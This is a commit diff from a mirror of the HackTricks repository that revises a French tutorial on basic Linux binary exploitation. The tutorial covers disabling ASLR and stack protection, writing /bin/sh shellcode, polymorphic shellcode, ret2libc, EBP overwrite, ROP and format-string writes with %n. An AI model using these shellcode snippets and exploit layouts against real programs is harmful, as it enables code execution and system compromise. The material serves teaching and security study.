Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti

Browse source
This commit is contained in:
Translator 2024-02-05 03:17:37 +00:00
parent 6209e0d7d1
commit ba2a2f0c57
45 changed files with 3108 additions and 4931 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

511
exploiting/linux-exploiting-basic-esp/README.md
View file

@ -1,45 +1,45 @@
# Exploitation Linux (Basique) (SPA)
# Linux Exploiting (Basique) (SPA)
## Exploitation Linux (Basique) (SPA)
## Linux Exploiting (Basique) (SPA)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
## **ASLR**
Randomisation des adresses
Aleatorización de direcciones
**Désactiver la randomisation (ASLR) GLOBALE (root)** :\
**Désactiver l'aleatorisation (ASLR) GLOBALE (root)** :\
echo 0 > /proc/sys/kernel/randomize\_va\_space\
Réactiver la randomisation GLOBALE : echo 2 > /proc/sys/kernel/randomize\_va\_space
Réactiver l'aleatorisation GLOBALE : echo 2 > /proc/sys/kernel/randomize\_va\_space
**Désactiver pour une exécution** (ne nécessite pas root) :\
**Désactiver pour une exécution** (ne nécessite pas de droits root) :\
setarch \`arch\` -R ./exemple arguments\
setarch \`uname -m\` -R ./exemple arguments
**Désactiver la protection d'exécution de la pile**\
**Désactiver la protection de l'exécution sur la pile**\
gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack exemple.c -o exemple
**Fichier Core**\
**Fichier core**\
ulimit -c unlimited\
gdb /exec fichier\_core\
gdb /exec fichier_core\
/etc/security/limits.conf -> \* soft core unlimited
**Texte**\
**Données**\
**BSS**\
**Tas**
**Heap**
**Pile**
@ -53,15 +53,15 @@ int i = 5;
```
**Section TEXT**: Instructions du code (opcodes)
**Section HEAP** : Buffers réservés de manière dynamique (malloc(), calloc(), realloc())
**Section HEAP**: Tampons alloués dynamiquement (malloc(), calloc(), realloc())
**Section STACK** : La pile (Arguments passés, chaînes d'environnement (env), variables locales…)
**Section STACK**: La pile (arguments passés, chaînes d'environnement (env), variables locales...)
## **1. DÉBORDEMENTS DE PILE**
> buffer overflow, buffer overrun, stack overrun, stack smashing
> débordement de tampon, dépassement de tampon, dépassement de pile, écrasement de pile
Violation de segmentation ou faute de segmentation : Lorsqu'on tente d'accéder à une adresse mémoire qui n'a pas été attribuée au processus.
Segmentation fault ou violation de segment: Lorsqu'on tente d'accéder à une adresse mémoire qui n'a pas été assignée au processus.
Pour obtenir l'adresse d'une fonction à l'intérieur d'un programme, on peut faire :
```
@ -83,16 +83,16 @@ setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; nettoyons eax\
xor eax, eax ; nettoyer eax\
xor ebx, ebx ; ebx = 0 car il n'y a pas d'argument à passer\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Exécuter syscall
int 0x80 ; Exécuter l'appel système
**nasm -f elf assembly.asm** —> Renvoie un .o\
**nasm -f elf assembly.asm** —> Renvoie un fichier .o\
**ld assembly.o -o shellcodeout** —> Donne un exécutable composé du code assembleur et nous pouvons extraire les opcodes avec **objdump**\
**objdump -d -Mintel ./shellcodeout** —> Pour vérifier que c'est bien notre shellcode et extraire les OpCodes
**objdump -d -Mintel ./shellcodeout** —> Pour vérifier qu'il s'agit bien de notre shellcode et extraire les opcodes
**Vérifier que la shellcode fonctionne**
**Vérifier que le shellcode fonctionne**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
@ -102,11 +102,11 @@ fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
Pour vérifier que les appels système sont correctement effectués, il faut compiler le programme précédent et les appels système devraient apparaître dans **strace ./PROGRAMME\_COMPILÉ**
Pour vérifier que les appels système sont effectués correctement, vous devez compiler le programme précédent et les appels système doivent apparaître dans **strace ./PROGRAMA\_COMPILADO**
Lors de la création de shellcodes, on peut utiliser une astuce. La première instruction est un saut vers un appel. L'appel invoque le code original et place également l'EIP dans la pile. Après l'instruction d'appel, nous avons inséré la chaîne de caractères nécessaire, donc avec cet EIP, nous pouvons pointer vers la chaîne et continuer à exécuter le code.
Lors de la création de shellcodes, un tour peut être effectué. La première instruction est un saut vers un appel. L'appel appelle le code original et place également l'EIP dans la pile. Après l'instruction d'appel, nous avons inséré la chaîne dont nous avions besoin, de sorte qu'avec cet EIP nous pouvons pointer vers la chaîne et continuer à exécuter le code.
EX **ASTUCE (/bin/sh)** :
EJ **TRUCO (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
@ -126,7 +126,7 @@ int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1">​</span>
```
**Exemple d'utilisation de la pile (/bin/sh) :**
**EJ en utilisant le Stack(/bin/sh):**
```
section .text
global _start
@ -154,13 +154,13 @@ fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
…
```
**Chasseur d'œuf :**
**Chasseur d'œufs :**
Il s'agit d'un petit code qui parcourt les pages mémoire associées à un processus à la recherche de la shellcode stockée (il cherche une signature placée dans la shellcode). Utile dans les cas où l'on dispose seulement d'un petit espace pour injecter du code.
Il s'agit d'un petit code qui parcourt les pages de mémoire associées à un processus à la recherche de la shellcode qui y est stockée (recherche d'une signature spécifique dans la shellcode). Utile dans les cas où l'on dispose d'un petit espace pour injecter du code.
**Shellcodes polymorphiques**
**Shellcodes polymorphes**
Il s'agit de shellcodes chiffrées qui possèdent un petit code les déchiffrant et sautant vers elles, en utilisant l'astuce Call-Pop, voici un **exemple de chiffrement César** :
Ce sont des shells chiffrées qui contiennent un petit code pour les déchiffrer et y sauter, en utilisant l'astuce Call-Pop, voici un **exemple de chiffrement César** :
```
global _start
_start:
@ -179,141 +179,139 @@ call init
sc:
;Aquí va el shellcode
```
1. **Attaque du Frame Pointer (EBP)**
1. **Attaquer le Frame Pointer (EBP)**
Utile dans une situation où nous pouvons modifier l'EBP mais pas l'EIP.
On sait qu'à la sortie d'une fonction, le code assembleur suivant est exécuté :
On sait qu'en sortant d'une fonction, le code assembleur suivant est exécuté :
```
movl %ebp, %esp
popl %ebp
ret
```
```markdown
Ainsi, si l'EBP peut être modifié lors de la sortie d'une fonction (fvuln) qui a été appelée par une autre fonction, lorsque la fonction appelante de fvuln se termine, son EIP peut être modifié.
De cette manière, il est possible de modifier l'EBP en sortant d'une fonction (fvuln) qui a été appelée par une autre fonction, lorsque la fonction appelant fvuln se termine, son EIP peut être modifié.
Dans fvuln, on peut introduire un faux EBP qui pointe vers un emplacement où se trouve l'adresse de la shellcode + 4 (il faut ajouter 4 à cause du pop). Ainsi, lors de la sortie de la fonction, la valeur de &(\&Shellcode)+4 sera insérée dans ESP, avec le pop ESP sera diminué de 4 et pointera vers l'adresse de la shellcode lorsque le ret sera exécuté.
Dans fvuln, on peut introduire un faux EBP pointant vers un emplacement où se trouve l'adresse de la shellcode + 4 (il faut ajouter 4 pour le pop). Ainsi, en sortant de la fonction, la valeur de &(\&Shellcode)+4 sera placée dans ESP, avec le pop, 4 sera soustrait à ESP et il pointera vers l'adresse de la shellcode lors de l'exécution du ret.
**Exploit:**\
\&Shellcode + "AAAA" + SHELLCODE + remplissage + &(\&Shellcode)+4
\&Shellcode + "AAAA" + SHELLCODE + padding + &(\&Shellcode)+4
**Exploit Off-by-One**\
Il est permis de modifier seulement le byte le moins significatif de l'EBP. Une attaque similaire à la précédente peut être menée, mais la mémoire qui stocke l'adresse de la shellcode doit partager les 3 premiers bytes avec l'EBP.
Il est possible de modifier uniquement le byte le moins significatif de l'EBP. Une attaque similaire à celle décrite précédemment peut être réalisée, mais la mémoire contenant l'adresse de la shellcode doit partager les 3 premiers octets avec l'EBP.
## **4. Méthodes return to Libc**
Méthode utile lorsque la pile n'est pas exécutable ou laisse un tampon très petit pour la modification.
Méthode utile lorsque la pile n'est pas exécutable ou laisse un tampon très petit à modifier.
L'ASLR fait que lors de chaque exécution, les fonctions sont chargées à des positions différentes en mémoire. Par conséquent, cette méthode peut ne pas être efficace dans ce cas. Pour les serveurs distants, comme le programme est exécuté constamment à la même adresse, cela peut être utile.
L'ASLR fait en sorte que, à chaque exécution, les fonctions soient chargées à des emplacements différents en mémoire. Par conséquent, cette méthode peut ne pas être efficace dans ce cas. Pour les serveurs distants, comme le programme est constamment exécuté à la même adresse, cela peut être utile.
* **cdecl (C declaration)** Place les arguments dans la pile et après la sortie de la fonction, nettoie la pile.
* **stdcall (standard call)** Place les arguments dans la pile et c'est la fonction appelée qui la nettoie.
* **fastcall** Place les deux premiers arguments dans les registres et le reste dans la pile.
* **cdecl (C declaration)** Place les arguments sur la pile et nettoie la pile après la sortie de la fonction
* **stdcall (standard call)** Place les arguments sur la pile et c'est la fonction appelée qui nettoie la pile
* **fastcall** Place les deux premiers arguments dans des registres et le reste sur la pile
On place l'adresse de l'instruction system de libc et on lui passe en argument la chaîne "/bin/sh", normalement depuis une variable d'environnement. De plus, on utilise l'adresse de la fonction exit pour que, une fois la shell inutile, le programme se termine sans problème (et sans écrire de logs).
On place l'adresse de l'instruction system de libc et on lui passe comme argument la chaîne "/bin/sh", généralement à partir d'une variable d'environnement. De plus, on utilise l'adresse de la fonction exit pour que, une fois que la shell n'est plus nécessaire, le programme se termine sans problème (et écrit des journaux).
**export SHELL=/bin/sh**
Pour trouver les adresses dont nous aurons besoin, on peut regarder dans **GDB:**\
**p system**\
**p exit**\
**rabin2 -i exécutable** —> Donne l'adresse de toutes les fonctions utilisées par le programme au chargement\
(Dans un start ou un breakpoint) : **x/500s $esp** —> Nous cherchons ici la chaîne /bin/sh
**rabin2 -i executable** —> Donne l'adresse de toutes les fonctions utilisées par le programme lors de son chargement\
(Dans un start ou un breakpoint): **x/500s $esp** —> On recherche ici la chaîne /bin/sh
Une fois que nous avons ces adresses, l'**exploit** serait :
Une fois que nous avons ces adresses, l'**exploit** serait le suivant :
"A" \* DISTANCE EBP + 4 (EBP : peuvent être 4 "A" bien que mieux si c'est le vrai EBP pour éviter les erreurs de segmentation) + Adresse de **system** (écrasera l'EIP) + Adresse de **exit** (en sortant de system("/bin/sh") cette fonction sera appelée car les premiers 4 bytes de la pile sont traités comme la prochaine adresse de l'EIP à exécuter) + Adresse de "**/bin/sh**" (sera le paramètre passé à system)
“A” \* DISTANCE EBP + 4 (EBP : peuvent être 4 "A" bien que ce soit mieux si c'est le vrai EBP pour éviter les erreurs de segmentation) + Adresse de **system** (écrasera l'EIP) + Adresse de **exit** (à la sortie de system(“/bin/sh”), cette fonction sera appelée car les 4 premiers octets de la pile sont traités comme l'adresse suivante de l'EIP à exécuter) + Adresse de “**/bin/sh**” (sera le paramètre passé à system)
De cette manière, l'EIP sera écrasé avec l'adresse de system qui recevra comme paramètre la chaîne "/bin/sh" et en sortant de cette fonction, exécutera la fonction exit().
Ainsi, l'EIP sera écrasé par l'adresse de system qui recevra la chaîne “/bin/sh” comme paramètre et à la sortie de celle-ci, la fonction exit() sera exécutée.
Il est possible de se retrouver dans la situation où un byte de l'adresse d'une fonction est nul ou un espace (\x20). Dans ce cas, on peut désassembler les adresses précédant cette fonction car il y a probablement plusieurs NOPs qui nous permettent d'appeler l'un d'eux au lieu de la fonction directement (par exemple avec > x/8i system-4).
Il est possible qu'un byte de l'adresse d'une fonction soit nul ou un espace (\x20). Dans ce cas, on peut désassembler les adresses précédant cette fonction car il y a probablement plusieurs NOPs qui nous permettront d'appeler l'un d'eux au lieu de la fonction directement (par exemple avec > x/8i system-4).
Cette méthode fonctionne car en appelant une fonction comme system en utilisant l'opcode **ret** au lieu de **call**, la fonction comprend que les premiers 4 bytes seront l'adresse **EIP** à laquelle revenir.
Cette méthode fonctionne car en appelant une fonction comme system en utilisant l'opcode **ret** au lieu de **call**, la fonction comprend que les 4 premiers octets seront l'adresse **EIP** vers laquelle revenir.
Une technique intéressante avec cette méthode est d'appeler **strncpy()** pour déplacer un payload de la pile vers le tas, puis d'utiliser **gets()** pour exécuter ce payload.
Une technique intéressante avec cette méthode est d'appeler **strncpy()** pour déplacer une charge utile de la pile au tas, puis d'utiliser **gets()** pour exécuter cette charge utile.
Une autre technique intéressante est l'utilisation de **mprotect()** qui permet d'attribuer les permissions souhaitées à n'importe quelle partie de la mémoire. Utile ou utilisé sur BSD, MacOS et OpenBSD, mais pas sur Linux (contrôle que les permissions d'écriture et d'exécution ne soient pas accordées en même temps). Avec cette attaque, on pourrait reconfigurer la pile comme exécutable.
Une autre technique intéressante est l'utilisation de **mprotect()** qui permet d'attribuer les autorisations souhaitées à n'importe quelle partie de la mémoire. Cela fonctionnait sur BDS, MacOS et OpenBSD, mais pas sur Linux (qui empêche l'attribution simultanée de permissions d'écriture et d'exécution). Avec cette attaque, il serait possible de reconfigurer la pile comme exécutable.
**Chaînage de fonctions**
**Enchaînement de fonctions**
Basé sur la technique précédente, cette forme d'exploit consiste en :\
Remplissage + \&Fonction1 + \&pop;ret; + \&arg\_fun1 + \&Fonction2 + \&pop;ret; + \&arg\_fun2 + …
De cette manière, on peut chaîner des fonctions à appeler. De plus, si on veut utiliser des fonctions avec plusieurs arguments, on peut mettre les arguments nécessaires (ex 4) et placer les 4 arguments et chercher une adresse avec les opcodes : pop, pop, pop, pop, ret —> **objdump -d exécutable**
Ainsi, il est possible d'enchaîner les fonctions à appeler. De plus, si l'on souhaite utiliser des fonctions avec plusieurs arguments, on peut placer les arguments nécessaires (par exemple 4) et mettre les 4 arguments et rechercher une adresse avec des opcodes : pop, pop, pop, pop, ret —> **objdump -d executable**
**Chaînage par falsification de cadres (chaînage d'EBPs)**
**Enchaînement en falsifiant les trames (enchaînement des EBPs)**
Consiste à exploiter la capacité de manipuler l'EBP pour enchaîner l'exécution de plusieurs fonctions à travers l'EBP et "leave;ret"
Il s'agit de profiter de la capacité de manipuler l'EBP pour enchaîner l'exécution de plusieurs fonctions à travers l'EBP et de "leave;ret"
REMPLISSAGE
* On place dans l'EBP un faux EBP qui pointe vers : 2ème EBP\_faux + la fonction à exécuter : (\&system() + \&leave;ret + &"/bin/sh")
* Dans l'EIP, on met l'adresse d'une fonction &(leave;ret)
* Placer dans l'EBP un faux EBP pointant vers : 2ème faux EBP + la fonction à exécuter : (\&system() + \&leave;ret + &“/bin/sh”)
* Dans l'EIP, mettre comme adresse une fonction &(leave;ret)
On commence la shellcode avec l'adresse de la partie suivante de la shellcode, par exemple : 2èmeEBP\_faux + \&system() + &(leave;ret;) + &"/bin/sh"
On commence la shellcode avec l'adresse de la partie suivante de la shellcode, par exemple : 2ème EBP faux + \&system() + &(leave;ret;) + &”/bin/sh”
le 2èmeEBP serait : 3èmeEBP\_faux + \&system() + &(leave;ret;) + &"/bin/ls"
le 2ème EBP serait : 3ème faux EBP + \&system() + &(leave;ret;) + &”/bin/ls”
Cette shellcode peut être répétée indéfiniment dans les parties de la mémoire auxquelles on a accès, de sorte qu'on obtient une shellcode facilement divisible en petits morceaux de mémoire.
Cette shellcode peut être répétée indéfiniment dans les parties de la mémoire auxquelles on a accès, de sorte qu'une shellcode facilement divisible en petits morceaux de mémoire sera obtenue.
(On enchaîne l'exécution de fonctions en mélangeant les vulnérabilités vues précédemment d'EBP et de ret2lib)
(L'exécution de fonctions est enchaînée en mélangeant les vulnérabilités précédemment vues d'EBP et de ret2lib)
## **5. Méthodes complémentaires**
**Ret2Ret**
Utile lorsque l'on ne peut pas mettre une adresse de la pile dans l'EIP (on vérifie que l'EIP ne contient pas 0xbf) ou lorsque l'on ne peut pas calculer l'emplacement de la shellcode. Mais, la fonction vulnérable accepte un paramètre (la shellcode ira ici).
Utile lorsque l'on ne peut pas placer une adresse de la pile dans l'EIP (on vérifie que l'EIP ne contient pas 0xbf) ou lorsque l'on ne peut pas calculer l'emplacement de la shellcode. Cependant, la fonction vulnérable accepte un paramètre (la shellcode ira ici).
Ainsi, en changeant l'EIP par une adresse à un **ret**, la prochaine adresse sera chargée (qui est l'adresse du premier argument de la fonction). C'est-à-dire, la shellcode sera chargée.
Ainsi, en changeant l'EIP par une adresse de **ret**, la prochaine adresse sera chargée (qui est l'adresse du premier argument de la fonction). Autrement dit, la shellcode sera chargée.
L'exploit serait : SHELLCODE + Remplissage (jusqu'à EIP) + **\&ret** (les bytes suivants de la pile pointent vers le début de la shellcode car l'adresse du paramètre passé est mise dans la pile)
L'exploit serait : SHELLCODE + Remplissage (jusqu'à l'EIP) + **\&ret** (les octets suivants de la pile pointent vers le début de la shellcode car l'adresse du paramètre passé est placée dans la pile)
Il semble que des fonctions comme **strncpy** une fois complètes éliminent de la pile l'adresse où était stockée la shellcode rendant cette technique impossible. C'est-à-dire, l'adresse qui est passée à la fonction comme argument (celle qui stocke la shellcode) est modifiée par un 0x00 de sorte qu'en appelant le second **ret** on rencontre un 0x00 et le programme se termine.
```
Apparemment, des fonctions comme **strncpy** une fois terminées suppriment de la pile l'adresse où la shellcode était stockée, rendant cette technique impossible. Autrement dit, l'adresse passée à la fonction en tant qu'argument (celle qui stocke la shellcode) est modifiée par un 0x00, donc lors du deuxième **ret**, un 0x00 est rencontré et le programme se termine.
```
**Ret2PopRet**
```
Si nous n'avons pas le contrôle sur le premier argument mais que nous avons le contrôle sur le second ou le troisième, nous pouvons réécrire EIP avec une adresse à pop-ret ou pop-pop-ret, selon celle dont nous avons besoin.
Si nous n'avons pas le contrôle sur le premier argument mais sur le deuxième ou le troisième, nous pouvons écraser EIP avec une adresse de pop-ret ou pop-pop-ret, selon ce dont nous avons besoin.
**Technique de Murat**
Sous Linux, tous les programmes sont mappés en commençant à 0xbfffffff.
Dans Linux, tous les programmes sont mappés à partir de 0xbfffffff.
En observant comment la pile d'un nouveau processus est construite sous Linux, on peut développer un exploit de sorte que le programme soit lancé dans un environnement dont la seule variable est la shellcode. L'adresse de celle-ci peut alors être calculée comme suit : addr = 0xbfffffff - 4 - strlen(NOM\_exécutable\_complet) - strlen(shellcode)
En examinant comment la pile d'un nouveau processus est construite dans Linux, il est possible de développer un exploit de sorte que le programme soit lancé dans un environnement où la seule variable est la shellcode. L'adresse de celle-ci peut alors être calculée comme suit : addr = 0xbfffffff - 4 - strlen(NOM\_executable\_complet) - strlen(shellcode)
Ainsi, on obtient facilement l'adresse où se trouve la variable d'environnement avec la shellcode.
Cela permettrait d'obtenir facilement l'adresse où se trouve la variable d'environnement avec la shellcode.
Cela est possible grâce à la fonction execle qui permet de créer un environnement qui ne contient que les variables d'environnement souhaitées.
Cela est possible grâce à la fonction execle qui permet de créer un environnement n'ayant que les variables d'environnement souhaitées.
**Jump to ESP: Style Windows**
Puisque l'ESP pointe toujours au début de la pile, cette technique consiste à remplacer l'EIP par l'adresse d'un appel à **jmp esp** ou **call esp**. De cette manière, la shellcode est stockée après la réécriture de l'EIP car après l'exécution du **ret**, l'ESP pointera vers l'adresse suivante, juste là où la shellcode a été sauvegardée.
Comme ESP pointe toujours au début de la pile, cette technique consiste à remplacer EIP par l'adresse d'un appel à **jmp esp** ou **call esp**. Ainsi, la shellcode est sauvegardée après l'écrasement de l'EIP car après l'exécution du **ret**, ESP pointera vers l'adresse suivante, là où la shellcode a été sauvegardée.
Si l'ASLR n'est pas activé sous Windows ou Linux, on peut appeler **jmp esp** ou **call esp** stockés dans un objet partagé. Si l'ASLR est activé, on pourrait chercher dans le programme vulnérable lui-même.
Si l'ASLR n'est pas activé sur Windows ou Linux, il est possible d'appeler **jmp esp** ou **call esp** stockés dans un objet partagé. Si l'ASLR est activé, il pourrait être nécessaire de rechercher à l'intérieur du programme vulnérable lui-même.
De plus, le fait de pouvoir placer la shellcode après la corruption de l'EIP au lieu de la mettre au milieu de la pile, permet d'éviter que les instructions push ou pop qui sont exécutées au milieu de la fonction n'affectent la shellcode (ce qui pourrait se produire si elle était placée au milieu de la pile de la fonction).
De plus, le fait de pouvoir placer la shellcode après la corruption de l'EIP au lieu de au milieu de la pile permet d'éviter que les instructions push ou pop exécutées au milieu de la fonction n'interfèrent avec la shellcode (ce qui pourrait se produire si elle était placée au milieu de la pile de la fonction).
De manière très similaire, si nous savons qu'une fonction renvoie l'adresse où la shellcode est stockée, on peut appeler **call eax** ou **jmp eax (ret2eax).**
De manière similaire, si l'on sait qu'une fonction renvoie l'adresse où la shellcode est stockée, on peut appeler **call eax** ou **jmp eax (ret2eax).**
**ROP (Return Oriented Programming) ou morceaux de code empruntés**
**ROP (Programmation Orientée Retour) ou fragments de code empruntés**
Les morceaux de code qui sont invoqués sont connus sous le nom de gadgets.
Les morceaux de code invoqués sont appelés gadgets.
Cette technique consiste à enchaîner différents appels à des fonctions en utilisant la technique de **ret2libc** et l'usage de **pop, ret**.
Cette technique consiste à enchaîner différents appels de fonctions en utilisant la technique **ret2libc** et l'utilisation de **pop,ret**.
Dans certaines architectures de processeurs, chaque instruction est un ensemble de 32 bits (par exemple, MIPS). Cependant, chez Intel, les instructions sont de taille variable et plusieurs instructions peuvent partager un ensemble de bits, par exemple :
Dans certaines architectures de processeurs, chaque instruction est un ensemble de 32 bits (comme le MIPS par exemple). Cependant, chez Intel, les instructions sont de taille variable et plusieurs instructions peuvent partager un ensemble de bits, par exemple :
**movl $0xe4ff, -0x(%ebp)** —> Contient les octets 0xffe4 qui se traduisent également par : **jmp \*%esp**
**movl $0xe4ff, -0x(%ebp)** —> Contient les octets 0xffe4 qui peuvent également être traduits par : **jmp \*%esp**
De cette manière, il est possible d'exécuter certaines instructions qui ne sont même pas dans le programme original.
De cette manière, il est possible d'exécuter certaines instructions qui ne sont même pas présentes dans le programme original.
**ROPgadget.py** nous aide à trouver des valeurs dans des binaires.
**ROPgadget.py** nous aide à trouver des valeurs dans les binaires.
Ce programme est également utile pour créer des **payloads**. Vous pouvez lui donner la bibliothèque à partir de laquelle vous souhaitez extraire les ROPs et il générera un payload en python auquel vous donnez l'adresse à laquelle se trouve ladite bibliothèque et le payload est alors prêt à être utilisé comme shellcode. De plus, comme il utilise des appels système, il n'exécute réellement rien dans la pile mais stocke simplement des adresses de ROPs qui seront exécutées via **ret**. Pour utiliser ce payload, il faut appeler le payload par une instruction **ret**.
Ce programme sert également à créer les **payloads**. Vous pouvez lui fournir la bibliothèque à partir de laquelle vous souhaitez extraire les ROPs et il générera un payload en Python auquel vous fournissez l'adresse de cette bibliothèque, et le payload est prêt à être utilisé comme shellcode. De plus, comme il utilise des appels système, il ne fait pas réellement s'exécuter quoi que ce soit sur la pile, mais il enregistre simplement les adresses des ROPs qui seront exécutées via **ret**. Pour utiliser ce payload, il faut appeler le payload via une instruction **ret**.
**Dépassements d'entiers**
**Débordements d'entiers**
Ce type de dépassements se produit lorsqu'une variable n'est pas préparée à supporter un nombre aussi grand que celui qui lui est passé, possiblement à cause d'une confusion entre des variables signées et non signées, par exemple :
Ce type de débordements se produit lorsque une variable n'est pas prête à gérer un nombre aussi grand que celui qui lui est passé, peut-être en raison d'une confusion entre les variables signées et non signées, par exemple :
```c
#include <stdion.h>
#include <string.h>
@ -338,21 +336,21 @@ printf("\nIntento de hack\n");
return 0;
}
```
Dans l'exemple précédent, nous voyons que le programme attend 2 paramètres. Le premier est la longueur de la chaîne suivante et le second est la chaîne.
Dans l'exemple précédent, nous voyons que le programme attend 2 paramètres. Le premier est la longueur de la chaîne suivante et le deuxième est la chaîne.
Si nous passons un nombre négatif comme premier paramètre, il en résultera que len < 256 et nous passerons ce filtre, et de plus strlen(buffer) sera inférieur à l, car l est un unsigned int et sera très grand.
Si nous passons un nombre négatif comme premier paramètre, il affichera que len < 256 et nous passerons ce filtre, de plus strlen(buffer) sera inférieur à l, car l est un unsigned int et sera très grand.
Ce type de dépassements de capacité ne cherche pas à écrire quelque chose dans le processus du programme, mais plutôt à dépasser des filtres mal conçus pour exploiter d'autres vulnérabilités.
Ce type de débordements ne vise pas à écrire quelque chose dans le processus du programme, mais à contourner des filtres mal conçus pour exploiter d'autres vulnérabilités.
**Variables non initialisées**
On ne connaît pas la valeur qu'une variable non initialisée peut prendre et il pourrait être intéressant de l'observer. Il se peut qu'elle prenne la valeur qu'avait une variable de la fonction précédente et que celle-ci soit contrôlée par l'attaquant.
On ne sait pas quelle valeur peut prendre une variable non initialisée et il pourrait être intéressant de l'observer. Il se peut qu'elle prenne la valeur qu'une variable de la fonction précédente prenait et celle-ci soit contrôlée par l'attaquant.
## **Format Strings**
## **Chaînes de format**
En C, **`printf`** est une fonction qui peut être utilisée pour **imprimer** une chaîne de caractères. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formateurs**. Les **paramètres suivants** attendus sont les **valeurs** pour **substituer** les **formateurs** dans le texte brut.
En C, **`printf`** est une fonction qui peut être utilisée pour **afficher** une chaîne. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formateurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formateurs** du texte brut.
La vulnérabilité apparaît lorsque **un texte d'attaquant est mis comme premier argument** à cette fonction. L'attaquant pourra créer une **entrée spéciale en abusant** des capacités de la chaîne de format **printf** pour **écrire n'importe quelle donnée à n'importe quelle adresse**. Ce faisant, il sera capable d'**exécuter du code arbitraire**.
La vulnérabilité apparaît lorsqu'un **texte d'attaquant est mis en tant que premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale en abusant** des capacités de **chaîne de format printf** pour **écrire n'importe quelle donnée à n'importe quelle adresse**. De cette manière, il peut **exécuter du code arbitraire**.
Formateurs:
```bash
@ -364,59 +362,58 @@ Formateurs :
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
```
**`%n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée. Écrire** autant d'**octets** que le nombre hexadécimal que nous **devons** écrire est la manière de **écrire n'importe quelle donnée**.
**`%n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée. Écrire** autant **d'octets** que le nombre hexadécimal que nous **devons écrire** est comment vous pouvez **écrire n'importe quelle donnée**.
```bash
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
```
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
C'est la table qui contient **l'adresse** des **fonctions externes** utilisées par le programme.
C'est la table qui contient l'**adresse** des **fonctions externes** utilisées par le programme.
Obtenez l'adresse de cette table avec : **`objdump -s -j .got ./exec`**
![](<../../.gitbook/assets/image (619).png>)
Observez comment après **le chargement** de **l'exécutable** dans GEF, vous pouvez **voir** les **fonctions** qui sont dans le **GOT** : `gef➤ x/20x 0xDIR_GOT`
Observez comment après le **chargement** de l'**exécutable** dans GEF, vous pouvez **voir** les **fonctions** qui sont dans le **GOT** : `gef➤ x/20x 0xDIR_GOT`
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
En utilisant GEF, vous pouvez **démarrer** une session de **débogage** et exécuter **`got`** pour voir la table got :
En utilisant GEF, vous pouvez **démarrer** une **session de débogage** et exécuter **`got`** pour voir la table got :
![](<../../.gitbook/assets/image (621).png>)
